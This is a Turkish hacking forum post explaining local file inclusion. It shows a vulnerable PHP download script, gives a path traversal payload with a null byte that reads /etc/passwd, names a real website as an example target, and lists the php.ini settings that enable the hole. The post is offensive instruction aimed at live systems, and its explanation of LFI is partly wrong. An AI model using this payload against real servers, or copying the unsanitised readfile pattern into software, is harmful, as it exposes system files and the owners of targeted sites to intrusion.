LFI Kullanabilmek İçin

CaLLouS

Kıdemli Üye
30 Ocak 2009
3,025
0
LFI "Local File Include" kısaltmasından gelir. Ve uzaktan dosya çağırmaya yarar. Bunu yaparken ya terminalı kullanır yada 80 veya 8080 portunu birde bunu çağırması için <?php yi (web yazılımı) kulllanır...

Çekeceğimiz dosyaya gelince Chmod 777 veya 664 olmalıdır. Eğer permlerde kısıtlama varsa dosyaya erişim olmaz..Aşağıda vereceğim <?php dosyasında LFI açığı vardır.Önemli bir scripttin download.php dosyasıdır.


PHP:
 <?  

$filename = $filename;  
$ext = substr(strrchr($filename, "."), 1);  

$bytes = filesize("downloadfile/$filename");  
header("Content-type: application/$ext");  
header("Content-disposition: attachment; filename=\"$filename\"");  
header("Content-length: $bytes");  
@readfile("downloadfile/$filename");  
?>

Server Linux olduğu için explotide budur..

/downloadfile.php?filename=../../../../../../../../../../etc/passwd%00

Örnek verilecek olursak : http://www.chinmaya.org/downloadfile.../../etc/passwd


Php.ini

PHP:
php.ini
magic_quotes_gpc = Off
register_globals = On
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.